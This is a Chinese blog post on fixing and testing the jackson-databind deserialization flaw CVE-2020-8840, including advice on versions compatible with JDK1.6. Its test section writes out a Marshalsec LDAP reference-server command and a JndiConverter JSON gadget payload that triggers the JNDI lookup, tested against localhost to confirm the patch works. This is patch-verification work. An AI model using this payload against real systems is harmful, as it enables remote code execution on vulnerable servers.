jackson-databind远程代码执行漏洞(CVE-2020-8840)修复与测试

4 篇文章 0 订阅
1 篇文章 0 订阅

漏洞介绍

攻击者可以利用此漏洞通过JNDI注入的方式执行本地Web容器下的任意代码,后文中将测试LDAP方式的远程代码调用,受影响版参见:NVD

修复建议

网上能找到的大部分修复建议是将jackson-databind的版本升级到2.9.10.4或后续版本,此方法的确行之有效,但是对于使用JDK1.6的老项目就比较尴尬,因为至2.8版本后jackson-databind字节码不再兼容JDK1.6,运行时会报Unsupported major.minor version 51.0错误,对于这种情况可以使用2.7.9.7版本修复,该版本的字节码仍然兼容JDK1.6,且确实具有修复效果,其佐证如下:

漏洞测试

此漏洞会将特定输入进行JNDI转换并执行,这里测试只测试到调用端收到请求,实际执行类并未编写,测试步骤:

  1. 使用Marshalsec工具开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#ExportObject 1389
  1. 使用ObjectMapper.readValue方法对特定的字符串进行对象映射
ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

            String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";

        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
  1. 测试结果
漏洞版本:
Send LDAP reference result for ExportObject redirecting to http://localhost:8080/ExportObject.class
修复版本:没有收到LDAP请求

备注:以上观察结果为运行Marshalsec的控制台输出,修改jackson-databind后记得Maven需要Import Change。

附件中有测试项目,Marshalsec位于项目的resources目录下,可找到绝对路径调用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值